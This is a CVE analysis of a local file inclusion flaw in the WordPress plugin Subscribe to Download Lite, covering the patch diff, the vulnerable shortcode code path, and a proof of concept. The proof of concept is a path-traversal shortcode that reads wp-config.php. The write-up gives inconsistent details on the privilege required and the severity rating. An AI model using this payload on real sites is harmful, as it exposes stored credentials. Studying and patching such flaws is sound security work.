CVE-2025-30782 Analysis & POC

1 CVE & Basic Info
The Subscribe to Download Lite plugin version ≤ 1.2.9 contains a Local File Inclusion vulnerability that allows an unauthenticated attacker to control the file parameter used in include/require
, thereby including or reading local files on the server (for example configuration files that contain credentials), leading to sensitive information disclosure and, in some configurations, possible code execution.
- CVE ID: CVE-2025-30782
- Vulnerability Type: Local File Inclusion
- Affected Versions: <= 1.2.9
- Patched Versions: 1.3.0
- CVSS severity: Low (7.5)
- Required Privilege: Contributor
- Product: WordPress Subscribe to Download Lite Plugin
2 Requirements
- Local WordPress & Debugging: Local WordPress and Debugging.
- Plugin versions - Subscribe to Download Lite: 1.2.9 (vulnerable) and 1.3.0 (patched).
- Diff tool - Meld or any diff tool to inspect and compare differences between the two versions.
3 Analysis
3.1 Patch diff
Vulnerable version:
<div class="stdl-form-wrap stdl-<?php echo esc_attr($form_template); ?> stdl-alias>">
<form method="post" action="" class="stdl-subscription-form" data-form-alias="stdl">
<?php
do_action('stdl_before_form', $form_details);
if (file_exists(STDL_PATH . 'inc/views/frontend/form-templates/' . $form_template . '.php')) {
include(STDL_PATH . 'inc/views/frontend/form-templates/' . $form_template . '.php');
}
do_action('stdl_after_form', $form_details);
?>
</form>
</div>
In the vulnerable version, $form_template
is concatenated into the path and included without validating the input => LFI risk, for example:
$form_template = '../../../../../../../wp-config'
Patched version:
<div class="stdl-form-wrap stdl-<?php echo esc_attr($form_template); ?> stdl-alias>">
<form method="post" action="" class="stdl-subscription-form" data-form-alias="stdl">
<?php
do_action('stdl_before_form', $form_details);
$base_dir = realpath(STDL_PATH . 'inc/views/frontend/form-templates') . DIRECTORY_SEPARATOR;
$sanitized_template = basename($form_template) . '.php';
$file_path = realpath($base_dir . $sanitized_template);
if ($file_path && strpos($file_path, $base_dir) === 0 && file_exists($file_path)) {
include($file_path);
}
do_action('stdl_after_form', $form_details);
?>
</form>
</div>
The patch uses basename()
to extract the file name portion of $form_template
, removing traversal sequences ../
, for example:
../../../../../../payload.pdf -> payload.pdf
Then it concatenates into $base_dir
and resolves the absolute path with realpath
before include()
=> effectively eliminates the LFI possibility.
3.2 Vulnerable Code
The vulnerable form-template.php
shown above is invoked from stdl-shortcode.php
<?php
$form_template = (!empty($atts['template'])) ? $atts['template'] : $form_details['layout']['template'];
if (isset($_COOKIE['stdl_encryption_key']) && $this->check_if_already_subscribed($_COOKIE['stdl_encryption_key']) && empty($form_details['general']['always_show'])) {
// other logic
} else {
// other logic
if ($display_type == 'direct') {
include(STDL_PATH . 'inc/views/frontend/form-template.php');
} else {
?>
<div class="stdl-popup-outerwrap <?php echo esc_attr($popup_alias_class); ?>">
<input type="button" class="stdl-popup-trigger stdl-popup-<?php echo esc_attr($form_template); ?>" value="<?php echo esc_attr($popup_trigger_text); ?>">
<div class="stdl-popup-innerwrap" style="display:none;">
<div class="stdl-overlay stdl-popup-wrapper">
<div class="stdl-popup-contetn-wrap">
<a href="javascript:void(0)" class="stdl-popup-close"><i class="fas fa-times"></i></a>
<?php include(STDL_PATH . 'inc/views/frontend/form-template.php');
?>
</div>
</div>
</div>
</div>
<?php
}
}
$form_template
is the value of $atts['template']
From CVE analysis experience on WordPress plugins, $atts
is typically the shortcode attributes array, for example:
[pornhub id=69]
Note that form-template.php
is always included within the inner if-else
block inside the outer else
when the stdl_encryption_key
cookie does not exist (i.e., the user has not subscribed or does not have a valid encryption key).
stdl-shortcode.php
is included by the shortcode callback subscribe_to_download_form
with atts
being the shortcode attributes array.
function __construct() {
add_shortcode('subscribe_to_download_form', array($this, 'generate_shortcode_output'));
}
function generate_shortcode_output($atts) {
wp_enqueue_style('stdl-frontend-custom', STDL_CSS_DIR . '/stdl-custom.css', array(), STDL_VERSION);
ob_start();
include(STDL_PATH . 'inc/views/frontend/stdl-shortcode.php');
$form_html = ob_get_contents();
ob_clean();
return $form_html;
}
4 Exploit
4.1 Proof of Concept (PoC)
4.1.1 Step 1
Log in to WordPress with a Contributor account (lowest privilege that can create posts).
4.1.2 Step 2
Create a post with the shortcode
[subscribe_to_download_form template='../../../../../../../wp-config']
Result:
The debugger reached wp-config.php

Successful LFI result
5 Conclusion
Version ≤ 1.2.9 of Subscribe to Download Lite allows LFI because include()
uses an unvalidated $atts['template']
; the issue was fixed in 1.3.0 by normalizing and restricting the template name (basename()
+ realpath()
+ base_dir
check) before include()
. Update immediately.
6 Key takeaways
- Shortcode input is untrusted — do not include directly.
- Patch (v1.3.0) uses
basename()
+realpath()
+ compare with allowed directory. - Actions: update the plugin, whitelist/validate attributes.
- Monitor logs for
../
in template parameters.
7 References
File Inclusion/Path traversal — Hacktrick
WordPress Subscribe to Download Lite Plugin <= 1.2.9 is vulnerable to Local File Inclusion